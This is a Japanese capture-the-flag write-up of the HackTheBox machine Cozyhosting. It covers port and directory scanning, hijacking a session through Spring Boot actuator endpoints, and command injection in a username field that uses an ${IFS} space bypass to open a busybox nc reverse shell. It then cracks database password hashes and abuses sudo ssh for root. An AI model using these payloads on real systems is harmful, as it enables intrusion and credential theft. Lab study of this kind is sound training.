【HackTheBox】Cozyhosting

ポートスキャン

# nmap -sS -T4 -p- -n -r -vv -oN nmap 10.129.229.88
Increasing send delay for 10.129.229.88 from 0 to 5 due to 790 out of 1974 dropped probes since last increase.
Increasing send delay for 10.129.229.88 from 5 to 10 due to 11 out of 25 dropped probes since last increase.
Nmap scan report for 10.129.229.88
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2026-08-12 22:12:13 JST for 823s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
# Nmap done at Wed Aug 12 22:25:56 2026 -- 1 IP address (1 host up) scanned in 822.96 seconds

バージョンスキャン

# nmap -sVC -T4 -p 22,80 -n -r -oN version 10.129.229.88
Nmap scan report for 10.129.229.88
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 12 22:29:46 2026 -- 1 IP address (1 host up) scanned in 13.05 seconds

ディレクトリとファイル探索

# ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt                                                                   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 333ms]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 680ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 849ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 224ms]
index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 313ms]
index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285, Duration: 229ms]
:: Progress: [62281/62281] :: Job [1/1] :: 197 req/sec :: Duration: [0:05:25] :: Errors: 0 ::


$ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.                       [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 201ms]
:: Progress: [37050/37050] :: Job [1/1] :: 211 req/sec :: Duration: [0:03:06] :: Errors: 0 ::

サブドメイン探索

# ffuf -u http://cozyhosting.htb -H "HOST:FUZZ.cozyhosting.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 6

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.cozyhosting.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 6
________________________________________________

:: Progress: [114442/114442] :: Job [1/1] :: 205 req/sec :: Duration: [0:09:13] :: Errors: 0 ::

Web調査

ログイン画面がありました。admin/adminやadmin/passwordではアクセスできず。

以下サイトから、Springbootのエラーページであることがわかります。

https://0xdf.gitlab.io/cheatsheets/404

Springbootのディレクトリ探索

色々とディレクトリが見つかりました。

# ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

actuator                [Status: 200, Size: 634, Words: 1, Lines: 1, Duration: 276ms]
actuator/env/lang       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 216ms]
actuator/env/path       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 218ms]
actuator/env            [Status: 200, Size: 4957, Words: 120, Lines: 1, Duration: 240ms]
actuator/env/home       [Status: 200, Size: 487, Words: 13, Lines: 1, Duration: 269ms]
actuator/health         [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 270ms]
actuator/mappings       [Status: 200, Size: 9938, Words: 108, Lines: 1, Duration: 266ms]
actuator/sessions       [Status: 200, Size: 48, Words: 1, Lines: 1, Duration: 188ms]
actuator/beans          [Status: 200, Size: 127224, Words: 542, Lines: 1, Duration: 585ms]
:: Progress: [174/174] :: Job [1/1] :: 201 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

順番にアクセスし、セッションIDを見つけました。このIDをリクエストヘッダーに設定すれば、kandersonとしてアクセスできそうです。

セッションIDに設定してアクセスすると、/adminへリダイレクトされアクセスできました。

コマンドインジェクション

HostnameとUsernameを入力してSubmitしてみます。

レスポンスのLocationヘッダを確認すると、入力した情報を利用してSSH接続していることがわかりました。

SSHコマンドを実行していると考え、コマンドインジェクションができないか試してみます。hostの方に;idを入力すると、無効なホスト名と表示されました。

usernameの方に入れると、bashのエラーが表示されました。

エラーの内容から、<Username>@<Hostname>というコマンドが実行されていることがわかります。

pingコマンドで疎通ができるか試してみましたが、スペースがNGのようです。

以下を参照して、スペースフィルタをバイパスします。

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

root%3Bping%24%7BIFS%7D-c%24%7BIFS%7D1%24%7BIFS%7D10.10.15.171%3B を実行し、pingで疎通取れました。

root%3Bbusybox%24%7BIFS%7Dnc%24%7BIFS%7D10.10.15.171%24%7BIFS%7D80%24%7BIFS%7D-e%24%7BIFS%7D%2Fbin%2Fbash%3Bを実行してリバースシェルをとります。単純なncやbash -iでは取れなかったので、busyboxでやりました。

取れました。

データベースアクセス

userフラグを取得するには、joshというユーザーに切り替えるかrootを取得する必要があります。

さすがにユーザー名と同じパスワードやパスワード未設定ではありませんでした。

探索していると、.jarファイルを見つけました。wikiによるとzip形式で圧縮されているようなので、unzipで解凍します。

解凍した後に、中身のファイルを色々調べていたらpostgresqlの認証情報を見つけました。

postgresqlにログインし、kandersonとadminの認証情報を取得しました。

app@cozyhosting:/tmp/BOOT-INF/classes$ psql -h localhost -d cozyhosting -U postgres
<asses$ psql -h localhost -d cozyhosting -U postgres
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

cozyhosting=# \d
\d
WARNING: terminal is not fully functional
Press RETURN to continue    

              List of relations
 Schema |     Name     |   Type   |  Owner   
--------+--------------+----------+----------
 public | hosts        | table    | postgres
 public | hosts_id_seq | sequence | postgres
 public | users        | table    | postgres
(3 rows)

(END)
(END)q
cozyhosting=# 
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue 

   name    |                           password                           | role
  
-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n
(2 rows)

(END)q
cozyhosting=# 

hashcatで解析します。adminのパスワードが、「manchesterunited」であることがわかりました。

└─$ hashcat -m 3200 ./hash.txt /usr/share/wordlists/rockyou.txt                                                    
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) i5-8500 CPU @ 3.00GHz, 2947/5895 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 512 MB (2086 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

ユーザーフラグ取得

取得したパスワードでjoshとしてSSH接続し、ユーザーフラグ取得です。

権限昇格

sudoでsshコマンドを実行できます。

sudoが使える場合、-Fオプションでファイル指定することで閲覧することができます。

設定として解釈できない部分をエラーメッセージと合わせて出力します。今回はフラグを指定しましたが、/etc/shadowなども閲覧できます。

https://gtfobins.org/gtfobins/ssh

上部へスクロール